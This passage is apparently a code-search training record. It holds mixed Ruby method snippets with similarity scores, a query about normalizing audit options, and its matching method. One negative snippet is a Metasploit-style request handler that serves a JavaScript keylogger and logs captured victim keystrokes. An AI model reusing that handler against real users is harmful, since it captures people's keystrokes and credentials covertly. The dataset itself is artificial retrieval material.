Diagnosic-Code: header with patterns\n return true if match(diagnostic)\n end\n\n return false\n end", "def true(argvs)\n return nil unless argvs\n return nil unless argvs.is_a? Sisimai::Data\n\n require 'sisimai/smtp/status'\n tempreason = Sisimai::SMTP::Status.name(argvs.deliverystatus)\n tempreason = 'undefined' if tempreason.empty?\n diagnostic = argvs.diagnosticcode\n\n return true if argvs.reason == 'rejected'\n return true if tempreason == 'rejected' # Delivery status code points \"rejected\".\n\n # Check the value of Diagnosic-Code: header with patterns\n if argvs.smtpcommand == 'MAIL'\n # The session was rejected at 'MAIL FROM' command\n return true if match(diagnostic)\n\n elsif argvs.smtpcommand == 'DATA'\n # The session was rejected at 'DATA' command\n if tempreason != 'userunknown'\n # Except \"userunknown\"\n return true if match(diagnostic)\n end\n elsif %w[onhold undefined securityerror systemerror].include?(tempreason)\n # Try to match with message patterns when the temporary reason\n # is \"onhold\", \"undefined\", \"securityerror\", or \"systemerror\"\n return true if match(diagnostic)\n end\n return false\n end", "def request \n\t\t\tif self.valid?\n\t\t\t\tpath = \"/#{Base.config.api_path}/#{self.request_action}\"\n\t\t\t\tconnection.post(path, self.to_xml).tap do |response|\n\t\t\t\t\treturn handle_response(response)\n\t\t\t\tend\n\t\t\telse\n\t\t\t\treturn false\n\t\t\tend\n\t\tend", "def saq_activity?\n @activity_name.to_s =~ /SAQ$/\n end", "def record_request(env)\n input = create_recording_input(env)\n env.update \"rack.input\" => input\n input\n end", "def valid_request?(request)\n request.post? && request.path == NOTIFY_PATH\n end", "def on_request_uri(cli, request)\n\t\t@host = cli.peerhost\n\n\t\t# Reply with JavaScript Source if *.js is requested\n\t\tif request.uri =~ /\\.js/\n\t\t\tcontent_type = \"text/plain\"\n\t\t\tcontent = keylogger\n\t\t\tsend_response(cli, content, {'Content-Type'=> content_type})\n\t\t\trequest_timestamp(cli,request)\n\n\t\t# JavaScript XML HTTP GET Request is used for sending the keystrokes over network.\n\t\telsif request.uri =~ /#{@random_text}/\n\t\t\tcontent_type = \"text/plain\"\n\t\t\tsend_response(cli, @random_text, {'Content-Type'=> content_type})\n\t\t\tlog = request.uri.split(\"&\")[1]\n\t\t\thex_to_s(log)\n\t\t\t@loot << \"#{cli.peerhost} - #{current_time} - \" + @ascii_log + \"\\n\"\n\t\t\tif log.length > 1\n\t\t\t\tprint_good(\"#{cli.peerhost} - #{current_time} - [KEYLOG] - #{@ascii_log}\")\n\t\t\tend\n\n\t\t# Reply with Metasploit Shield Favicon\n\t\telsif request.uri =~ /favicon\\.ico/\n\t\t\tcontent = favicon\n\t\t\tcontent_type = \"image/icon\"\n\t\t\t\tsend_response(cli, content, {'Content-Type'=> content_type})\n\t\t\trequest_timestamp(cli,request)\n\n\t\t# Reply with Demo Page\n\t\telsif request.uri =~ /metasploit/ and datastore['DEMO']\n\t\t\tcontent = demo\n\t\t\tcontent_type = \"text/html\"\n\t\t\t\tsend_response(cli, content, {'Content-Type'=> content_type})\n\t\t\trequest_timestamp(cli,request)\n\t\telse\n\t\t\t# Reply with 404 - Content Not Found\n\t\t\tcontent = \"Error 404 (Not Found)!\"\n\t\t\tsend_response(cli, \"<html><title>#{content}</title><h1>#{content}</h1></html>\", {'Content-Type' => 'text/html'})\n\t\tend\n\tend", "def succeeded?\n request_sent? && response.success?\n end", "def appended_to_fund_request?( fund_request )\n return true if new_record? || fund_requests.actionable.empty?\n false\n end", "def check_transaction(request)\n\t\tif request.include?(:transaction)# and request.include?(:operations) and request.include?(:transactionNum) \n\t\t\treturn true\n\t\telse\n\t\t\treturn false\n\t\tend\n\tend", "def send\n http_response.code == 201\n end", "def receive_test\n setup_http\n\n if update_status?\n receive_test_status\n else\n simple_failure(\"Nothing happened\")\n end\n end", "def self_intro_enquiry(*args)\n self.update_attribute(:bot_response, \"I'm Brian.\")\n return false\n end", "def failed?\n request_sent? && !response.success?\n end", "def send_report(report)\n unless @entity_uuid && @run_id\n Chef::Log.error \"entity_uuid(#{@entity_uuid}) or run_id(#{@run_id}) can't be nil, not sending report to Chef Automate\"\n return false\n end\n\n if defined?(Chef) && defined?(Chef::Config)\n headers = { 'Content-Type' => 'application/json' }\n unless @token.nil?\n headers['x-data-collector-token'] = @token\n headers['x-data-collector-auth'] = 'version=1.0'\n end\n\n # Enable OpenSSL::SSL::VERIFY_NONE via `node['audit']['insecure']`\n # See https://github.com/chef/chef/blob/master/lib/chef/http/ssl_policies.rb#L54\n if @insecure\n Chef::Config[:verify_api_cert] = false\n Chef::Config[:ssl_verify_mode] = :verify_none\n end\n\n all_report_shas = report_profile_sha256s(report)\n missing_report_shas = missing_automate_profiles(@url, headers, all_report_shas)\n\n full_report = truncate_controls_results(enriched_report(report), @control_results_limit)\n\n # If the Automate backend has the profile metadata for at least one profile, proceed with metadata stripping\n full_report = strip_profiles_meta(full_report, missing_report_shas, 1) if missing_report_shas.length < all_report_shas.length\n json_report = full_report.to_json\n\n report_size = json_report.bytesize\n # Automate GRPC currently has a message limit of ~4MB\n # https://github.com/chef/automate/issues/1417#issuecomment-541908157\n if report_size > 4 * 1024 * 1024\n Chef::Log.warn \"Compliance report size is #{(report_size / (1024 * 1024.0)).round(2)} MB.\"\n Chef::Log.warn 'Automate has an internal 4MB limit that is not currently configurable.'\n end\n\n unless json_report\n Chef::Log.warn 'Something went wrong, report can\\'t be nil'\n return false\n end\n\n begin\n Chef::Log.info \"Report to Chef Automate: #{@url}\"\n Chef::Log.debug \"Audit Report: #{json_report}\"\n http = Chef::HTTP.new(@url)\n http.post(nil, json_report, headers)\n true\n rescue => e\n Chef::Log.error \"send_report: POST to #{@url} returned: #{e.message}\"\n false\n end\n else\n Chef::Log.warn 'data_collector.token and data_collector.server_url must be defined in client.rb!'\n Chef::Log.warn 'Further information: https://github.com/chef-cookbooks/audit#direct-reporting-to-chef-automate'\n false\n end\n end" ]
[ "0.5594382", "0.54898816", "0.5463866", "0.53713053", "0.52279836", "0.52273935", "0.51133627", "0.51123583", "0.5106037", "0.5105007", "0.50954145", "0.506699", "0.5065968", "0.5065968", "0.50434613", "0.5024757", "0.5018423", "0.5017952", "0.501069", "0.5003455", "0.49994904", "0.49736914", "0.4972975", "0.49498945", "0.49348295", "0.4926425", "0.49261636", "0.49224263", "0.49122402", "0.48797485", "0.4878519", "0.48715055", "0.48699686", "0.48695606", "0.48638016", "0.48495314", "0.4848046", "0.48440757", "0.4843676", "0.48435777", "0.4843185", "0.48390552", "0.48285842", "0.48255956", "0.48203284", "0.48084426", "0.4803399", "0.48027822", "0.4791293", "0.47833663", "0.47822648", "0.47770834", "0.47770834", "0.47744906", "0.47542667", "0.4745841", "0.4743249", "0.47410166", "0.47396544", "0.47353256", "0.4731891", "0.472375", "0.47206846", "0.4720329", "0.47166017", "0.471212", "0.4710836", "0.47096863", "0.47083852", "0.47078192", "0.4705619", "0.47033715", "0.46989825", "0.46930766", "0.46796778", "0.46772748", "0.46739388", "0.46719992", "0.46708164", "0.46677282", "0.46657157", "0.46634176", "0.46597204", "0.46520665", "0.46498197", "0.46475425", "0.46465003", "0.46443468", "0.4635326", "0.4632755", "0.4630105", "0.4626057", "0.46242535", "0.46225154", "0.4621758", "0.46154332", "0.46122223", "0.4609045", "0.46072176", "0.46048558" ]
0.68053806
0
Normalize options for creating new audit section of updating audit summary === Parameters text(String):: New section title or new status options(Hash):: Optional hash specifying category === Return opts(Hash):: Options hash ready for calling corresponding auditor operation
def normalize_options(text, options) opts = options || {} opts[:text] = text opts[:category] ||= EventCategories::CATEGORY_NOTIFICATION unless EventCategories::CATEGORIES.include?(opts[:category]) RightLinkLog.warn("Invalid notification category '#{opts[:category]}', using generic category instead") opts[:category] = EventCategories::CATEGORY_NOTIFICATION end opts end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def extract_options(text, options)\n if text.is_a? Hash\n # we need to dup the text object because we're deleting keys from this object which manipulates the object passed in here\n # if this object is reused after beeing injected into this component, the keys would be missing\n self.options = text.dup\n else\n self.text = text\n # we need to dup the options object because we're deleting keys from this object which manipulates the object passed in here\n # if this object is reused after beeing injected into this component, the keys would be missing\n self.options = options.dup || {}\n end\n self.options.symbolize_keys!\n end", "def append_info(text, options={})\n send_audit(:kind => :info, :text => text, :category => options[:category])\n end", "def create_new_section(title, options={})\n send_audit(:kind => :new_section, :text => title, :category => options[:category])\n end", "def _normalize_options(options) #:nodoc:\n if options.key?(:text) && options[:text].respond_to?(:to_text)\n options[:text] = options[:text].to_text\n end\n\n if options.delete(:nothing) || (options.key?(:text) && options[:text].nil?)\n options[:text] = \" \"\n end\n\n if options[:status]\n options[:status] = Rack::Utils.status_code(options[:status])\n end\n\n super\n end", "def update!(**args)\n @category = args[:category] if args.key?(:category)\n @raw_text = args[:raw_text] if args.key?(:raw_text)\n end", "def _normalize_options(options)\n _normalize_text(options)\n\n if options[:html]\n options[:html] = ERB::Util.html_escape(options[:html])\n end\n\n if options[:status]\n options[:status] = Rack::Utils.status_code(options[:status])\n end\n\n super\n end", "def set_usage(text, options={})\n options[:attachments] ||= []\n options[:attachments].unshift({'text' => text})\n self.usage_options = options\n end", "def update!(**args)\n @category = args[:category] if args.key?(:category)\n @raw_text = args[:raw_text] if args.key?(:raw_text)\n @value = args[:value] if args.key?(:value)\n end", "def normalize_options\n copy_options_to_attributes(ATTRIBUTE_OPTIONS)\n copy_boolean_options_to_attributes(ATTRIBUTE_BOOLEAN_OPTIONS)\n handle_key_option\n handle_errors_option\n\n Forme.attr_classes(@attr, @opts[:class]) if @opts.has_key?(:class)\n\n if @opts[:error]\n Forme.attr_classes(@attr, 'error')\n @attr[\"aria-invalid\"] = \"true\"\n if @opts.fetch(:error_handler, true)\n if @opts[:error_id]\n @attr['aria-describedby'] ||= @opts[:error_id]\n else\n if id = @attr[:id] || @attr['id']\n error_id = @attr['aria-describedby'] ||= \"#{id}_error_message\"\n @opts[:error_id] = error_id\n end\n end\n end\n end\n\n if data = opts[:data]\n data.each do |k, v|\n k = k.to_s.tr(\"_\", \"-\") if k.is_a?(Symbol) && input.opts[:dasherize_data]\n sym = :\"data-#{k}\"\n @attr[sym] = v unless @attr.has_key?(sym)\n end\n end\n end", "def append_info(text, options={})\n options[:category] ||= EventCategories::NONE # Do not event by default\n send_request('append_info', normalize_options(text, options))\n end", "def update!(**args)\n @category = args[:category] if args.key?(:category)\n @raw_text = args[:raw_text] if args.key?(:raw_text)\n @referent_text = args[:referent_text] if args.key?(:referent_text)\n end", "def parse_additional_options(opts)\n end", "def parse_additional_options(opts)\n end", "def addsection(text, title, minor = false, bot = true)\n #require login\n @site.login\n result = @site.query_prop_info(@normtitle, nil, 'edit') \n token = result['query']['pages']['page']['edittoken']\n result = @site.edit(@normtitle, section, text, token, title, minor, nil, bot) \n if result.key?('error')\n raise RbmediawikiError, \"#{title}: \"+result['error']['code']\n else\n return true\n end\n end", "def double_dash_to_sections(text)\n text.to_s.dup.tap do |result|\n result.sub!( /(\\S) +(v[^.\\s]*\\.) */, '\\1 -- \\2 ')\n result.gsub!(/(\\S) *-- *(v[^.\\s]*\\.) */, '\\1; \\2 ')\n end\n end", "def init_options\n @since = \"\"\n @format = :markdown\n ARGV.each do |arg|\n if arg.start_with?(\"--since=\")\n @since = arg.dup\n elsif arg == \"--html\"\n @format = :html\n end\n end\nend", "def add_options; end", "def update!(**args)\n @clean_text = args[:clean_text] if args.key?(:clean_text)\n @info_string = args[:info_string] if args.key?(:info_string)\n @snippet = args[:snippet] if args.key?(:snippet)\n @text = args[:text] if args.key?(:text)\n end", "def update_or_create_options(hash, opts)\n results = {}\n attrs = self.import_attrs || []\n attrs -= opts[:only] unless opts[:only].nil?\n attrs.each do |attr|\n key = nil\n if hash.key?(attr)\n key = attr\n elsif hash.key?(attr.to_s)\n key = attr.to_s\n end\n results[attr] = hash[key] unless key.nil?\n end\n results\n end", "def initialize opts\n if opts[:text]\n parse(opts[:text])\n else\n @headers = opts[:headers]\n @raw_body = opts[:raw_body]\n @raw_extended = opts[:raw_extended]\n end\n @filter = Blogitr.find_filter(opts[:filter])\n end", "def update!(**args)\n @section_name = args[:section_name] if args.key?(:section_name)\n @separator = args[:separator] if args.key?(:separator)\n @tidbit_text = args[:tidbit_text] if args.key?(:tidbit_text)\n @token_begin = args[:token_begin] if args.key?(:token_begin)\n @token_end = args[:token_end] if args.key?(:token_end)\n end", "def apply_options!(options)\n options.assert_valid_keys(:introduced, :desc, :description, :retired_at, :external_name)\n\n introduced options[:introduced] if options[:introduced]\n desc options[:desc] if options[:desc]\n desc options[:description] if options[:description]\n external_name options[:external_name] if options[:external_name]\n\n @retired_at = Time.parse(options[:retired_at]) if options[:retired_at]\n end", "def internal_send_audit(options)\n RightScale::AuditProxy.force_utf8!(options[:text])\n opts = { :audit_id => @audit_id, :category => options[:category], :offset => @size }\n opts[:category] ||= EventCategories::CATEGORY_NOTIFICATION\n unless EventCategories::CATEGORIES.include?(opts[:category])\n Log.warning(\"Invalid category '#{opts[:category]}' for notification '#{options[:text]}', using generic category instead\")\n opts[:category] = EventCategories::CATEGORY_NOTIFICATION\n end\n\n log_method = options[:kind] == :error ? :error : :info\n log_text = AuditFormatter.send(options[:kind], options[:text])[:detail]\n log_text.chomp.split(\"\\n\").each { |l| Log.__send__(log_method, l) }\n begin\n audit = AuditFormatter.__send__(options[:kind], options[:text])\n @size += audit[:detail].size\n request = RetryableRequest.new(\"/auditor/update_entry\", opts.merge(audit), :timeout => AUDIT_DELIVERY_TIMEOUT)\n request.callback { |_| } # No result of interest other than know it was successful\n request.errback { |message| Log.error(\"Failed to send update for audit #{@audit_id} (#{message})\") }\n request.run\n rescue Exception => e\n Log.error(\"Failed to send update for audit #{@audit_id}\", e, :trace)\n end\n\n true\n end", "def add_options(type, cmd, default_template: 'default')\n cmd_name = cmd.name.to_s\n action = case cmd_name\n when /again/\n 'Repeat'\n when /grep/\n 'Search'\n when /mark/\n 'Flag'\n when /(last|tags|view|on)/\n 'Show'\n else\n cmd_name.capitalize\n end\n\n case type\n when :output_template\n cmd.desc \"Output to export format (#{Doing::Plugins.plugin_names(type: :export)})\"\n cmd.arg_name 'FORMAT'\n cmd.flag %i[o output], type: ExportTemplate\n\n cmd.desc \"Output using a template from configuration\"\n cmd.arg_name 'TEMPLATE_KEY'\n cmd.flag [:config_template], type: TemplateName, default_value: default_template\n\n cmd.desc 'Override output format with a template string containing %placeholders'\n cmd.arg_name 'TEMPLATE_STRING'\n cmd.flag [:template]\n when :output_template_no_defaults\n cmd.desc \"Output to export format (#{Doing::Plugins.plugin_names(type: :export)})\"\n cmd.arg_name 'FORMAT'\n cmd.flag %i[o output]\n\n cmd.desc \"Output using a template from configuration\"\n cmd.arg_name 'TEMPLATE_KEY'\n cmd.flag [:config_template], type: TemplateName\n\n cmd.desc 'Override output format with a template string containing %placeholders'\n cmd.arg_name 'TEMPLATE_STRING'\n cmd.flag [:template]\n when :add_entry\n cmd.desc 'Exclude auto tags and default tags'\n cmd.switch %i[X noauto], default_value: false, negatable: false\n\n cmd.desc 'Include a note'\n cmd.arg_name 'TEXT'\n cmd.flag %i[n note]\n\n cmd.desc 'Prompt for note via multi-line input'\n cmd.switch %i[ask], negatable: false, default_value: false\n\n cmd.desc \"Edit entry with #{Doing::Util.default_editor}\"\n cmd.switch %i[e editor], negatable: false, default_value: false\n\n cmd.desc 'Backdate start date for new entry to date string [4pm|20m|2h|yesterday noon]'\n cmd.arg_name 'DATE_STRING'\n cmd.flag %i[b back started since], type: DateBeginString\n when :finish_entry\n cmd.desc %(Set finish date to specific date/time (natural langauge parsed, e.g. --at=1:30pm).\n Used with --took, backdates start date)\n cmd.arg_name 'DATE_STRING'\n cmd.flag %i[at finished], type: DateEndString\n\n cmd.desc %(\n Start and end times as a date/time range `doing done --from \"1am to 8am\"`.\n Overrides other date flags.\n )\n cmd.arg_name 'TIME_RANGE'\n cmd.flag [:from], must_match: REGEX_RANGE\n\n cmd.desc %(Set completion date to start date plus interval (XX[mhd] or HH:MM).\n If used without the --back option, the start date will be moved back to allow\n the completion date to be the current time.)\n cmd.arg_name 'INTERVAL'\n cmd.flag %i[t took for], type: DateIntervalString\n when :search\n cmd.desc 'Filter entries using a search query, surround with slashes for regex (e.g. \"/query.*/\"),\n start with single quote for exact match (\"\\'query\")'\n cmd.arg_name 'QUERY'\n cmd.flag [:search]\n\n cmd.desc 'Case sensitivity for search string matching [(c)ase-sensitive, (i)gnore, (s)mart]'\n cmd.arg_name 'TYPE'\n cmd.flag [:case], must_match: REGEX_CASE,\n default_value: Doing.settings.dig('search', 'case').normalize_case,\n type: CaseSymbol\n\n cmd.desc 'Force exact search string matching (case sensitive)'\n cmd.switch %i[x exact], default_value: Doing.config.exact_match?, negatable: Doing.config.exact_match?\n when :time_display\n cmd.desc 'Show time intervals on @done tasks'\n cmd.switch %i[t times], default_value: true, negatable: true\n\n cmd.desc 'Show elapsed time on entries without @done tag'\n cmd.switch [:duration]\n\n cmd.desc 'Show time totals at the end of output'\n cmd.switch [:totals], default_value: false, negatable: false\n\n cmd.desc 'Sort tags by (name|time)'\n default = Doing.setting('tag_sort').normalize_tag_sort || :name\n cmd.arg_name 'KEY'\n cmd.flag [:tag_sort], must_match: REGEX_TAG_SORT, default_value: default, type: TagSortSymbol\n\n cmd.desc 'Tag sort direction (asc|desc)'\n cmd.arg_name 'DIRECTION'\n cmd.flag [:tag_order], must_match: REGEX_SORT_ORDER, default_value: :asc, type: OrderSymbol\n\n cmd.desc 'Only show items with recorded time intervals'\n cmd.switch [:only_timed], default_value: false, negatable: false\n when :tag_filter\n cmd.desc 'Filter entries by tag. Combine multiple tags with a comma. Wildcards allowed (*, ?)'\n cmd.arg_name 'TAG'\n cmd.flag [:tag], type: TagArray\n\n cmd.desc 'Perform a tag value query (\"@done > two hours ago\" or \"@progress < 50\").\n May be used multiple times, combined with --bool'\n cmd.arg_name 'QUERY'\n cmd.flag [:val], multiple: true, must_match: REGEX_VALUE_QUERY\n\n cmd.desc \"#{action} items that *don't* match search/tag filters\"\n cmd.switch [:not], default_value: false, negatable: false\n\n cmd.desc 'Boolean used to combine multiple tags (AND|OR|NOT). Use PATTERN to parse + and - as booleans'\n cmd.arg_name 'BOOLEAN'\n cmd.flag [:bool], must_match: REGEX_BOOL,\n default_value: :pattern,\n type: BooleanSymbol\n when :tag_filter_no_defaults\n cmd.desc 'Filter entries by tag. Combine multiple tags with a comma. Wildcards allowed (*, ?)'\n cmd.arg_name 'TAG'\n cmd.flag [:tag], type: TagArray\n\n cmd.desc 'Perform a tag value query (\"@done > two hours ago\" or \"@progress < 50\").\n May be used multiple times, combined with --bool'\n cmd.arg_name 'QUERY'\n cmd.flag [:val], multiple: true, must_match: REGEX_VALUE_QUERY\n\n cmd.desc \"#{action} items that *don't* match search/tag filters\"\n cmd.switch [:not], negatable: false\n\n cmd.desc 'Boolean used to combine multiple tags. Use PATTERN to parse + and - as booleans'\n cmd.arg_name 'BOOLEAN'\n cmd.flag [:bool], must_match: REGEX_BOOL,\n type: BooleanSymbol\n when :time_filter\n cmd.desc 'View entries before specified time (e.g. 8am, 12:30pm, 15:00)'\n cmd.arg_name 'TIME_STRING'\n cmd.flag [:before], type: DateEndString\n\n cmd.desc 'View entries after specified time (e.g. 8am, 12:30pm, 15:00)'\n cmd.arg_name 'TIME_STRING'\n cmd.flag [:after], type: DateBeginString\n\n cmd.desc %(\n Time range to show `doing #{cmd.name} --from \"12pm to 4pm\"`\n )\n cmd.arg_name 'TIME_RANGE'\n cmd.flag [:from], type: DateRangeString, must_match: REGEX_TIME_RANGE\n when :date_filter\n if action =~ /Archive/\n cmd.desc 'Archive entries older than date (natural language).'\n else\n cmd.desc \"#{action} entries older than date (natural language). If this is only a time (8am, 1:30pm, 15:00), all\n dates will be included, but entries will be filtered by time of day\"\n end\n cmd.arg_name 'DATE_STRING'\n cmd.flag [:before], type: DateBeginString\n\n if action =~ /Archive/\n cmd.desc 'Archive entries newer than date (natural language).'\n else\n cmd.desc \"#{action} entries newer than date (natural language). If this is only a time (8am, 1:30pm, 15:00), all\n dates will be included, but entries will be filtered by time of day\"\n end\n cmd.arg_name 'DATE_STRING'\n cmd.flag [:after], type: DateEndString\n\n if action =~ /Archive/\n cmd.desc %(\n Date range (natural language) to archive: `doing archive --from \"1/1/21 to 12/31/21\"`.\n )\n else\n cmd.desc %(\n Date range (natural language) to #{action.downcase}, or a single day to filter on.\n To specify a range, use \"to\": `doing #{cmd_name} --from \"monday 8am to friday 5pm\"`.\n\n If values are only time(s) (6am to noon) all dates will be included, but entries will be filtered\n by time of day.\n )\n end\n cmd.arg_name 'DATE_OR_RANGE'\n cmd.flag [:from], type: DateRangeString\n when :save\n cmd.desc 'Save all current command line options as a new view'\n cmd.arg_name 'VIEW_NAME'\n cmd.flag %i[save], type: String\n\n cmd.desc 'Title string to be used for output formats that require it'\n cmd.arg_name 'TITLE'\n cmd.flag %i[title], type: String\n end\nend", "def parse_opts(opts)\n object_update(opts[:object])\n\n res = {}\n TABLE[@vobject][:cli].each do |arg|\n raise \"#{arg} it's mandadory for this op\" if opts[arg].nil?\n\n res[arg] = method(arg).call(opts[arg])\n end\n\n res[:config] = parse_file(opts[:configuration]) if opts[:configuration]\n\n res\n end", "def parse_options\n @options = {}\n @optparse = OptionParser.new do |opts|\n opts.banner = \"Usage: moa-metadata [options] <object-name> ...\\n\\n Cat objects metadata (to stdout)\\n\\n\"\n\n # @options[:numeric] = false\n # opts.on( '-n', 'Display user IDs numerically' ) do\n # @options[:numeric] = true\n # end\n\n opts.on( '-?', '--help', 'Display this screen' ) do\n puts opts\n exit 0\n end\n end\n\n @optparse.parse!\nend", "def _normalize_options(options); end", "def update!(**args)\n @alternate_text = args[:alternate_text] if args.key?(:alternate_text)\n @attribute = args[:attribute] if args.key?(:attribute)\n @chapter_start = args[:chapter_start] if args.key?(:chapter_start)\n @cleanup_annotation = args[:cleanup_annotation] if args.key?(:cleanup_annotation)\n @continues_from_previous_page = args[:continues_from_previous_page] if args.key?(:continues_from_previous_page)\n @continues_from_previous_page_hyphenated = args[:continues_from_previous_page_hyphenated] if args.key?(:continues_from_previous_page_hyphenated)\n @continues_on_next_page = args[:continues_on_next_page] if args.key?(:continues_on_next_page)\n @end_of_spanning_label = args[:end_of_spanning_label] if args.key?(:end_of_spanning_label)\n @experimental_data = args[:experimental_data] if args.key?(:experimental_data)\n @flow = args[:flow] if args.key?(:flow)\n @modification_record = args[:modification_record] if args.key?(:modification_record)\n @page_number_ordinal = args[:page_number_ordinal] if args.key?(:page_number_ordinal)\n @appearance = args[:appearance] if args.key?(:appearance)\n @columndetails = args[:columndetails] if args.key?(:columndetails)\n @contentlink = args[:contentlink] if args.key?(:contentlink)\n @editcorrectioncandidate = args[:editcorrectioncandidate] if args.key?(:editcorrectioncandidate)\n @overrides = args[:overrides] if args.key?(:overrides)\n @snippetfilter = args[:snippetfilter] if args.key?(:snippetfilter)\n @tablecelldetails = args[:tablecelldetails] if args.key?(:tablecelldetails)\n @tabledetails = args[:tabledetails] if args.key?(:tabledetails)\n end", "def options_create opts, colors\n\t\t\t\t#todo create, switch\n\t\t\t\topts.separator \" *\".colorize(colors[:cyan]) + \" create, switch\".colorize(colors[:yellow]) + \n\t\t\t\t\" creates a new list or switches to an existing one\".colorize(colors[:magenta])\n\t\t\t\topts.separator \" usage: \".colorize(colors[:cyan]) + USAGE[:create].colorize(colors[:red])\n\t\t\tend", "def category_params\n params.require(:category).permit(:name, :auto, :priority, :contexts, :templates,\n intent_user_says_attributes: [:text, :alias, :meta, :id, :_destroy],\n intent_responses_attributes: [:reset_contexts, :action, :speech, :id, :_destroy,\n intent_affected_contexts_attributes: [:name, :lifespan, :id, :_destroy],\n intent_parameters_attributes: [:data_type, :name, :value, :id, :_destroy]]\n )\n end", "def new_option(opts = {})\n Survey::Option.new(option_attributes.merge(opts))\nend", "def create(title, content, options={})\n form_data = {'action' => 'edit', 'title' => title, 'text' => content, 'summary' => (options[:summary] || \"\"), 'token' => get_token('edit', title)}\n if @options[:bot]\n form_data['bot'] = '1'\n form_data['assert'] = 'bot'\n end\n form_data['minor'] = '1' if options[:minor]\n form_data['notminor'] = '1' if options[:minor] == false or options[:notminor]\n form_data['createonly'] = \"\" unless options[:overwrite]\n form_data['section'] = options[:section].to_s if options[:section]\n make_api_request(form_data)\n end", "def deco_textilizable(*args)\n options = args.last.is_a?(Hash) ? args.pop : {}\n case args.size\n when 1\n obj = options[:object]\n text = args.shift\n when 2\n obj = args.shift\n attr = args.shift\n text = obj.send(attr).to_s\n else\n raise ArgumentError, 'invalid arguments to textilizable'\n end\n return '' if text.blank?\n project = options[:project] || @project || (obj && obj.respond_to?(:project) ? obj.project : nil)\n only_path = options.delete(:only_path) == false ? false : true\n\n text = text.dup\n\n ####add custom\n tmp_text = deco_block_textile_quotes(text)\n if(tmp_text) then\n text = tmp_text\n else\n text = text.dup\n end\n ####\n\n macros = catch_macros(text)\n text = Redmine::WikiFormatting.to_html(Setting.text_formatting, text, :object => obj, :attribute => attr)\n\n @parsed_headings = []\n @heading_anchors = {}\n @current_section = 0 if options[:edit_section_links]\n\n parse_sections(text, project, obj, attr, only_path, options)\n text = parse_non_pre_blocks(text, obj, macros) do |text|\n [:parse_inline_attachments, :parse_wiki_links, :parse_redmine_links].each do |method_name|\n send method_name, text, project, obj, attr, only_path, options\n end\n end\n parse_headings(text, project, obj, attr, only_path, options)\n\n if @parsed_headings.any?\n replace_toc(text, @parsed_headings)\n end\n\n text.html_safe\n end", "def choice_options= unparsed_txt\n choice_options_hash = {}\n if unparsed_txt.class == Hash\n choice_options_hash = unparsed_txt\n else\n unparsed_txt.strip.split(\"\\n\").each do |option|\n options_split = option.split(\"=\")\n value = options_split.first.strip.to_i\n desc = options_split.last.strip\n choice_options_hash[desc]=value\n end\n end\n write_attribute(:choice_options, choice_options_hash)\n end", "def common_options(opts)\n opts.separator ''\n opts.separator 'Other options:'\n opts.on('--[no-]color', 'Run without color') do |v|\n Term::ANSIColor.coloring = v\n end\n opts.on_tail('-v', '--version', 'Show version.') do\n ui.trace \"inch #{Inch::VERSION}\"\n exit\n end\n opts.on_tail('-l', '--language [LANGUAGE]',\n 'Set language (elixir|javascript|ruby).') do |language|\n @language = language\n end\n opts.on_tail('-r', '--read-from-dump [FILE]',\n 'Read objects from dump.') do |file|\n @read_dump_file = file\n end\n opts.on_tail('-h', '--help', 'Show this help.') do\n ui.trace opts\n exit\n end\n end", "def parse_advanced(opts)\n # @todo Replace arr with opts.each_with_object([])\n arr = []\n rejects = %i[input output log]\n # Do not parse input/output and log as they're placed separately in #parsed\n opts.reject { |k, _| rejects.include? k }\n .each do |k, v|\n arr.push \"-#{k} #{v}\" unless v.nil? # Ignore blank params\n end\n \"#{arr.join(' ')} \"\n end", "def to_hash\n h = @attrs.merge({\n :text => text,\n :name => name,\n })\n\n o = options\n h[:options] = o if not o.nil?\n return h\n end", "def add_option(name, type, options_info, options_text, option_name, option_descr, attribute)\n raise 'Invalid option type' unless VALID_OPTION_TYPE.include?(type)\n options_info = parse_string(options_info) if options_info.is_a?(String)\n options_text = parse_string(options_text) if options_text.is_a?(String)\n options_text.map! { |option_text| get_text(option_text) } unless options_text.is_a?(String)\n option_name = get_text(option_name)\n option_descr = get_text(option_descr)\n getter = attribute\n setter = \"#{getter}=\"\n return if options_info.is_a?(Array) && options_info.size <= 1\n @options[name] = Helper.new(type, options_info, options_text, option_name, option_descr, getter, setter)\n end", "def convert_options(opts); end", "def update!(**args)\n @category = args[:category] if args.key?(:category)\n @description = args[:description] if args.key?(:description)\n @details = args[:details] if args.key?(:details)\n @reason = args[:reason] if args.key?(:reason)\n @state = args[:state] if args.key?(:state)\n end", "def update!(**args)\n @summary_skipped_reasons = args[:summary_skipped_reasons] if args.key?(:summary_skipped_reasons)\n @summary_text = args[:summary_text] if args.key?(:summary_text)\n end", "def initialize(section, args, options)\n self.parser = section.parser\n self.id = parser.new_question_group_id\n self.text = args[0]\n self.default_options().merge(options).merge(args[1] || {}).each{|key,value| self.instance_variable_set(\"@#{key}\", value)}\n end", "def generate_options(action, xml, extra_params={})\n opts = extra_params || {}\n\n if EC2[action][:args]\n EC2[action][:args].each {|k,v|\n str = ec2_value(xml, k, &v[:proc])\n if str\n tmp = opts\n last_key = nil\n v[:opt].split('/').each { |key|\n k = key.to_sym\n tmp = tmp[last_key] if last_key\n tmp[k] = {}\n last_key = k\n }\n tmp[last_key] = str\n end\n }\n end\n\n opts\n end", "def add_text_output_options(opt)\n opt.on(\"--wrap-at=X\", Integer,\n \"Wraps table after X's character (no wrap by default)\") do |x|\n io_options[:text][:wrap_at] = x\n end\n opt.on(\"--truncate-at=X\", Integer,\n \"Truncate row lines at X character\") do |x|\n io_options[:text][:truncate_at] = x\n io_options[:text][:append_with] = '...'\n end\n end", "def _process_options(options); end", "def _process_options(options); end", "def create_category_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CategoriesApi.create_category ...\"\n end\n # resource path\n local_var_path = \"/categories\"\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(opts[:'category'])\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'CategoryResource')\n if 